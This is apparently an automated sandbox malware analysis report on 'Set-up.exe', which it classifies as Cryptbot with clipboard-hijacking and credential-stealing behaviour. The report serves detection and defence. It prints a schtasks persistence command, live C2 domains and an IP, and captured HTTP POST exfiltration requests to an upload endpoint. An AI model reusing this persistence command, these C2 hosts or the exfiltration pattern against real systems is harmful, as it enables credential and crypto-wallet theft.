Edit tour

Windows Analysis Report
Set-up.exe

Overview

General Information

Sample name:	Set-up.exe
Analysis ID:	1520814
MD5:	ff8b81c5bdbb09987a4ed216ae0010c2
SHA1:	1d5edf417a676e8e04a69dd94dac6a2a934cdfa6
SHA256:	d6a055bee4a39f5879ff522099df86cd0a0001228cac589b3f07449a5a822fef
Tags:	Cryptbotexeuser-4k95m
Infos:

Detection

Clipboard Hijacker, Cryptbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Cryptbot

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops large PE files

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Set-up.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\Set-up.exe" MD5: FF8B81C5BDBB09987A4ED216AE0010C2)

service123.exe (PID: 7856 cmdline: "C:\Users\user\AppData\Local\Temp\service123.exe" MD5: 62CC0B5676AC91389084FEE3D683DC68)

schtasks.exe (PID: 7876 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

service123.exe (PID: 7936 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 62CC0B5676AC91389084FEE3D683DC68)

service123.exe (PID: 4432 cmdline: C:\Users\user\AppData\Local\Temp\/service123.exe MD5: 62CC0B5676AC91389084FEE3D683DC68)

cleanup

Malware Configuration

Threatname: Cryptbot

{"C2 list": ["analforeverlovyu.top", "+twelvevh12pt.top", "twelvevh12pt.top"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2245373256.0000000003E34000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: Set-up.exe PID: 7328	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: Set-up.exe PID: 7328	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Set-up.exe PID: 7328	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Process Memory Space: service123.exe PID: 7856	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.service123.exe.6c2f0000.1.unpack	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Set-up.exe", ParentImage: C:\Users\user\Desktop\Set-up.exe, ParentProcessId: 7328, ParentProcessName: Set-up.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, ProcessId: 7876, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-28T00:09:09.374047+0200	2054350	1	A Network Trojan was detected	192.168.2.4	49730	185.244.181.140	80	TCP
2024-09-28T00:09:12.931853+0200	2054350	1	A Network Trojan was detected	192.168.2.4	49731	185.244.181.140	80	TCP
2024-09-28T00:09:18.000992+0200	2054350	1	A Network Trojan was detected	192.168.2.4	49733	185.244.181.140	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: Set-up.exe.7328.0.memstrmin

Malware Configuration Extractor: Cryptbot {"C2 list": ["analforeverlovyu.top", "+twelvevh12pt.top", "twelvevh12pt.top"]}

Multi AV Scanner detection for submitted file

Source: Set-up.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_004B15D0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		4_2_004B15D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C2F14E0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		4_2_6C2F14E0

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea ecx, dword ptr [esp+04h]	4_2_004B8320
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	4_2_6C3B6C50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	4_2_6C3B6C50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C3C9920h	4_2_6C310C40
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FED09
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C3BAE90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C3BAE90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C3BAE90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C3BAE90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FEE80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C366E80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C366FE0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F285F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FE8E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	4_2_6C312910
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C320971
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C320971
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	4_2_6C320971
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F297F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F29BE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F29FD
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	4_2_6C31E9D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C340A30
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F2A3C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FEA31
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C320A1C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FEA97
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F2AF1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C320ACC
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F2B30
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F2B6F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	4_2_6C320B7C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FCB40
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FEB80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+04h]	4_2_6C348BE0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F2BD3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C30C470
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	4_2_6C31C470
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	4_2_6C31C50C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FE510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C31C540
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	4_2_6C31C540
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	4_2_6C36A5B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C31C5DC
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	4_2_6C368640
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	4_2_6C368640
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C368640
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	4_2_6C31C68C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FE700
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FE7B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	4_2_6C3127F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	4_2_6C3AA030
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C31C02C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FC070
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	4_2_6C31C0DC
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C3680C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C35C11E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C35C11A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	4_2_6C31C240
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	4_2_6C35C2DE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	4_2_6C31C2DC
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	4_2_6C35C2DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	4_2_6C312340
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FC380
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2F2390
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBC33
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FDC60
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBC7E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBC58
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C30DCA0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBCB5
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	4_2_6C31BC90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBC9F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	4_2_6C31DCE0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBCC7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	4_2_6C31BD2C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C363D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBD06
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	4_2_6C38BD70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBDFF
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C367DE0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FDEE0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	4_2_6C31BEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBED2
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	4_2_6C31BF5C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C31BF90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	4_2_6C31BF90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FD8A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FF880
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C3598F3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FB8E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	4_2_6C3638C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	4_2_6C38B970
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	4_2_6C311960
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBA80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FDAF0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBAD0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, ecx	4_2_6C38FB20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBB7B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C367B50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FDB90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBBF8
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FBBC4
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6C3C801Ch	4_2_6C35F430
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FD4C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C33F5A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	4_2_6C3575E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	4_2_6C35F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C35D67E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	4_2_6C35D67A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FD645
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	4_2_6C31F6B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FD6B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FB750
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FD1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C2F1400h	4_2_6C2FD3A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then jmp 6C357260h	4_2_6C3573D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49730 -> 185.244.181.140:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49733 -> 185.244.181.140:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49731 -> 185.244.181.140:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: analforeverlovyu.top
Source: Malware configuration extractor	URLs: +twelvevh12pt.top
Source: Malware configuration extractor	URLs: twelvevh12pt.top

Source: Joe Sandbox View

IP Address: 185.244.181.140 185.244.181.140

Source: Joe Sandbox View

ASN Name: BELCLOUDBG BELCLOUDBG

Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary54044084User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 413Host: twelvevh12pt.top
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary53892879User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 89642Host: twelvevh12pt.top
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary49242685User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 31921Host: twelvevh12pt.top

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: twelvevh12pt.top

Source: unknown

HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary54044084User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 413Host: twelvevh12pt.top

Source: Set-up.exe, 00000000.00000003.2040016353.000000000130B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twelvevh12pt.top/
Source: Set-up.exe, 00000000.00000003.2040016353.000000000130B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twelvevh12pt.top/v1/upload.php
Source: Set-up.exe, 00000000.00000003.2040016353.000000000130B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twelvevh12pt.top/v1/upload.php&&
Source: Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ehMlFMzYcqQvKbiEUyBC.dll.0.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: Set-up.exe	String found in binary or memory: https://serviceupdate32.com/update
Source: Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 4_2_6C30ADD6 CloseHandle,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,CloseClipboard,

4_2_6C30ADD6

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C30AE52 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		4_2_6C30AE52
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C30AF41 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		4_2_6C30AF41

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 4_2_6C30ADD6 CloseHandle,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,CloseClipboard,

4_2_6C30ADD6

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\Set-up.exe

File dump: service123.exe.0.dr 314613760

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_004B3E80	4_2_004B3E80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_004B5140	4_2_004B5140
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C332E93	4_2_6C332E93
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C2FEE80	4_2_6C2FEE80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C300F20	4_2_6C300F20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C326830	4_2_6C326830
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C352870	4_2_6C352870
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C350AA0	4_2_6C350AA0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C306B10	4_2_6C306B10
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C2FCB40	4_2_6C2FCB40
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C33EB90	4_2_6C33EB90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C340020	4_2_6C340020
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3BE230	4_2_6C3BE230
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C308260	4_2_6C308260
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C332245	4_2_6C332245
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C333C50	4_2_6C333C50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C2F3D20	4_2_6C2F3D20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C2FFDC0	4_2_6C2FFDC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C305850	4_2_6C305850
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C34B850	4_2_6C34B850
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3038B0	4_2_6C3038B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C337AB0	4_2_6C337AB0
